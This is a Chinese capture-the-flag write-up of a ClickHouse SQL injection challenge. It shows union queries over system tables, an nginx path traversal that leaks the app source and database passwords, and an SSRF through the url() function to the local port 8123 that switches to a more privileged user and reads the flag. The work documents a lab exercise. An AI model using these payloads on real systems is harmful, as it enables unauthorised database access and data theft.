Double Sqli

题目环境:

进入题目是一个 sql 注入,没有任何过滤,直接用 sqlmap 跑可以打通,但是不知道是什么数据库。

image-20211017103255267

尝试报错发现是 clickhouse 数据库:

image-20211017095846662

ClickHouse 是一个用于联机分析(OLAP)的列式数据库管理系统(DBMS),其语法与 MySQL 相似。网上关于 ClickHouse 注入的资料很少,但是还是可以找到一篇:https://blog.deteact.com/yandex-clickhouse-injection/

与 MySQL 相似,ClickHouse 中也有很多系统表,我们就是通过这些系统表来注入得到数据的:https://clickhouse.com/docs/zh/operations/system-tables/。

首先获取数据库内所有的数据库名:

1
/?id=-1 union all select name from system.databases--+

image-20211017100607143

得到两个数据库,然后我们查看数据库 ctf 中的表:

1
/?id=-1 union all select name from system.tables where database='ctf'--+

image-20211017100725648

只发现一个 hint 表,然后查看其字段:

1
/?id=-1 union all select name from system.columns where table='hint'--+

image-20211017100854749

读取数据:

1
/?id=-1 union all select id from ctf.hint--+

image-20211017100934732

提示我们没有权限读取 flag,可知当前用户没有权限查看 ctf 库中更多的表。

然后我们又发现了一个处 nginx 目录穿越:

image-20211017101128149

在 /app/main.py 发现了源码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
from flask import Flask
import clickhouse_driver
from flask import request
app = Flask(__name__)

client = clickhouse_driver.Client(host='127.0.0.1', port='9000', database='default', user='user_02', password='e4649b934ca495991b78')

@app.route('/')
def cttttf():
id = request.args.get('id',0)
sql = 'select ByteCTF from hello where 1={} '.format(id)
try:
a = client.execute(sql)
except Exception as e:
return str(e)
if len(a) == 0:
return '<a href="/files/test.jpg">something in files</a>'
else:
return str(a)[3:-4]

if __name__ == '__main__':
app.run(host='0.0.0.0', debug=False, port=80)

可知当前的数据库用户为 user_02,其密码为 e4649b934ca495991b78。

接着,在 /var/lib/clickhouse/access/3349ea06-b1c1-514f-e1e9-c8d6e8080f89.sql 中发现了数据库中还有一个 user_01 用户,其密码为 e3b0c44298fc1c149afb:

image-20211017101403020

user_01 的权限应该比 user_02 要高,所以我们要想办法切换到这个 user_01,然后再执行查询命令。这里用到了 ClickHouse 的 HTTP 客户端接口。HTTP 接口允许您在任何编程语言的任何平台上使用 ClickHouse。默认情况下,clickhouse 服务端会在 8123 端口上监控 HTTP 请求。详情请看:https://clickhouse.com/docs/zh/interfaces/http/。

所以我们需要构造 SSRF 连接到本地的 8123 端口上来操作 clickhouse 服务端。但是如何构造这个 SSRF 呢?我们找到了 clickhouse 中的 URL() 函数:https://clickhouse.com/docs/zh/sql-reference/table-functions/url/。`URL()` 函数从一个 URL 创建一个具有给定 formatstructure 的表,其可以发送 HTTP 请求。

下面我们参照官方给的实例来构造 POC。首先切换到 user_01 用户:

1
select * from url('http://127.0.0.1:8123/?user=user_01&password=e3b0c44298fc1c149afb', CSV, 'column1 String, column2 UInt32')

切换到 user_01 用户后对 ctf 库执行查询:

1
select * from url("http://127.0.0.1:8123/?user=user_01&password=e3b0c44298fc1c149afb&query=select+name+from+system.tables+where+database='ctf'", CSV, 'column1 String, column2 UInt32')

Payload 如下:

1
/?id=-1 or (select%20*%20from%20url(%22http%3A%2F%2F127.0.0.1%3A8123%2F%3Fuser%3Duser_01%26password%3De3b0c44298fc1c149afb%26query%3Dselect%2Bname%2Bfrom%2Bsystem.tables%2Bwhere%2Bdatabase%3D'ctf'%22%2C%20CSV%2C%20'column1%20String%2C%20column2%20UInt32'))

image-20211017102852671

发现 ctf 库中还有一个 flag 表,然后直接读取 flag就行了:

1
select * from url("http://127.0.0.1:8123/?user=user_01&password=e3b0c44298fc1c149afb&query=select+flag+from+ctf.flag", CSV, 'column1 String, column2 UInt32')

image-20211017103107117